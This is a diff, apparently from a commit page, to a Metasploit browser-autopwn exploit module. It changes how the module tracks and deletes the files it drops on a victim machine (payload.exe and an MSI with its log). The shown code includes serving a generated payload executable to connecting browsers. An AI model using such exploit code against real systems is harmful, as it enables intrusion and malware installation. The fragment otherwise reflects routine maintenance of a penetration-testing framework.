@@ -12,7 +12,6 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
14
include Msf ::Exploit ::EXE
15
- include Msf ::Exploit ::FileDropper
16
15
include Msf ::Exploit ::Remote ::BrowserAutopwn
17
16
18
17
autopwn_info ( {
@@ -77,12 +76,21 @@ def initialize(info={})
77
76
] , self . class )
78
77
end
79
78
79
+ def exploit
80
+ @dropped_files = [
81
+ 'payload.exe' ,
82
+ 'ThinClient_TemaKit.msi' ,
83
+ 'ThinClient_TemaKit.log'
84
+ ]
85
+ super
86
+ end
87
+
80
88
def on_new_session ( session )
81
89
if session . type == "meterpreter"
82
90
session . core . use ( "stdapi" ) unless session . ext . aliases . include? ( "stdapi" )
83
91
end
84
92
85
- @dropped_files . delete_if do |file |
93
+ @dropped_files . each do |file |
86
94
win_file = file . gsub ( "/" , "\\ \\ " )
87
95
if session . type == "meterpreter"
88
96
begin
@@ -123,7 +131,6 @@ def on_request_uri(cli, request)
123
131
data = generate_payload_exe ( { :code => p . encoded } )
124
132
print_status ( "Sending payload" )
125
133
send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
126
- register_file_for_cleanup ( "payload.exe" ) unless @dropped_files and @dropped_files . include? ( "payload.exe" )
127
134
return
128
135
end
129
136
@@ -132,8 +139,6 @@ def on_request_uri(cli, request)
132
139
source = ::File . open ( msi_source , "rb" ) { |fd | fd . read ( fd . stat . size ) }
133
140
print_status ( "Sending msi" )
134
141
send_response ( cli , source , { 'Content-Type' => 'application/octet-stream' } )
135
- register_file_for_cleanup ( "ThinClient_TemaKit.msi" ) unless @dropped_files and @dropped_files . include? ( "ThinClient_TemaKit.msi" )
136
- register_file_for_cleanup ( "ThinClient_TemaKit.log" ) unless @dropped_files and @dropped_files . include? ( "ThinClient_TemaKit.log" )
137
142
return
138
143
end
139
144
0 commit comments